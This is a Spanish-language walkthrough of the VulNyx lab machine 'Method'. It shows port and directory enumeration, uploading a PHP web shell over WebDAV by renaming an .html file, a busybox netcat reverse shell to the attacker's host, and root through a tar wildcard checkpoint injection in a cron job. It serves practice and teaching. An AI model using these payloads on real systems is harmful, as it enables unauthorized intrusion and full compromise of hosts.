---

Information

Method es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

---

Enumeration

Nmap

TCP

root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.146
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 18:53 +0200
Nmap scan report for 192.168.1.146
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

root@kali:~ ❯ nmap -sVC -p22,80 192.168.1.146
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 18:54 +0200
Nmap scan report for 192.168.1.146
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    lighttpd 1.4.59
|_http-title: Welcome page
|_http-server-header: lighttpd/1.4.59

---

Shell (www-data)

80/TCP (HTTP)

Site (/)

Directory Fuzzing

root@kali:~ ❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.146/ -x html,txt,php
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.146/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
webdav               (Status: 301) [Size: 0] [--> /webdav/]
Progress: 882176 / 882176 (100.00%)
===============================================================
Finished
===============================================================

Site (/webdav)

Como era de esperar, en la ruta encontrada existe un servicio WebDAV.

WebDAV

PUT

Me conecto al WebDAV mediante davtest y observo que solo permite subir con el método PUT archivos con extensión .html.

root@kali:~ ❯ davtest -url "http://192.168.1.146/webdav/"
********************************************************
 Testing DAV connection
OPEN		SUCCEED:		http://192.168.1.146/webdav
********************************************************
NOTE	Random string for this session: UnVqbhl
********************************************************
 Creating directory
MKCOL		SUCCEED:		Created http://192.168.1.146/webdav/DavTestDir_UnVqbhl
********************************************************
 Sending test files
PUT	pl	FAIL
PUT	jhtml	FAIL
PUT	cgi	FAIL
PUT	txt	FAIL
PUT	jsp	FAIL
PUT	php	FAIL
PUT	cfm	FAIL
PUT	aspx	FAIL
PUT	asp	FAIL
PUT	html	SUCCEED:	http://192.168.1.146/webdav/DavTestDir_UnVqbhl/davtest_UnVqbhl.html
PUT	shtml	FAIL
********************************************************
 Checking for test file execution
EXEC	html	FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://192.168.1.146/webdav/DavTestDir_UnVqbhl
PUT File: http://192.168.1.146/webdav/DavTestDir_UnVqbhl/davtest_UnVqbhl.html

Ahora, con cadaver, y sabiendo que permite subir archivos .html, subo uno que contiene código PHP.

root@kali:~ ❯ cat cmd.html 
<?php system($_GET['cmd']); ?>

root@kali:~ ❯ cadaver "http://192.168.1.146/webdav/"

dav:/webdav/> put cmd.html
Transferiendo cmd.html a '/webdav/cmd.html':
 Progreso: [=============================>] 100,0% of 30 bytes exitoso.

dav:/webdav/> ls
Listando colección `/webdav/': exitoso.
        cmd.html                              30  ago 21 19:17

MOVE

Con rename, consigo convertir el archivo .html en .php.

dav:/webdav/> rename cmd.html cmd.php
Renaming `/webdav/cmd.html' to `/webdav/cmd.php': exitoso.

dav:/webdav/> ls
Listando colección `/webdav/': exitoso.
 Col:   DavTestDir_UnVqbhl                  4096  ago 21 19:08
        cmd.php                               30  ago 21 19:17

RCE

Consigo ejecutar comandos como usuario www-data.

root@kali:~ ❯ curl -sX GET "http://192.168.1.146/webdav/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse Shell

Ya ejecutando comandos trato de obtener una reverse shell.

root@kali:~ ❯ echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri
busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh
                                                                 
root@kali:~ ❯ curl -sX GET "http://192.168.1.146/webdav/cmd.php?cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh"

Obtengo la shell como usuario www-data.

root@kali:~ ❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.146] 44926
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
method

---

Privilege Escalation

Enumeration

Cron

Con pspy detecto una tarea interesante ejecutada por el usuario root (UID=0).

2026/08/21 19:34:38 CMD: UID=0     PID=1      | /sbin/init 
2026/08/21 19:35:01 CMD: UID=0     PID=880    | /usr/sbin/CRON -f 
2026/08/21 19:35:01 CMD: UID=0     PID=881    | /bin/sh -c cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz * 
2026/08/21 19:35:01 CMD: UID=0     PID=882    | /bin/sh -c cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz * 
2026/08/21 19:35:01 CMD: UID=0     PID=883    | tar -zcf /var/backups/webdav.tgz DavTestDir_UnVqbhl cmd.php 
2026/08/21 19:35:01 CMD: UID=0     PID=884    | /bin/sh -c gzip 

En el comando indicado en la tarea se puede observar que, al utilizar el binario tar para comprimir, no se especifica una ruta o archivo concreto, sino que se emplea el comodín *, haciendo referencia a «cualquier archivo».

Abuse

Wildcard

Command Injection

Dentro de la ruta /var/www/html/webdav, creo el script injection.sh, lo que me permitirá ejecutar automáticamente los comandos contenidos en él cuando se inicie la tarea.

www-data@method:/$ cd /var/www/html/webdav/
www-data@method:~/html/webdav$ touch -- "--checkpoint=1"
www-data@method:~/html/webdav$ touch -- "--checkpoint-action=exec=sh injection.sh"
www-data@method:~/html/webdav$ echo "chmod 4755 /bin/bash" > injection.sh
www-data@method:~/html/webdav$ chmod +x injection.sh

Al ejecutar la tarea, inyecto mi comando y me convierto en usuario root.

www-data@method:~/html/webdav$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
www-data@method:~/html/webdav$ /bin/bash -pi
bash-5.1# id ; hostname 
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
method

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

bash-5.1# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
370*****************************
549*****************************

Hasta aquí la resolución de la máquina Method de VulNyx.

Happy Hacking! 🙂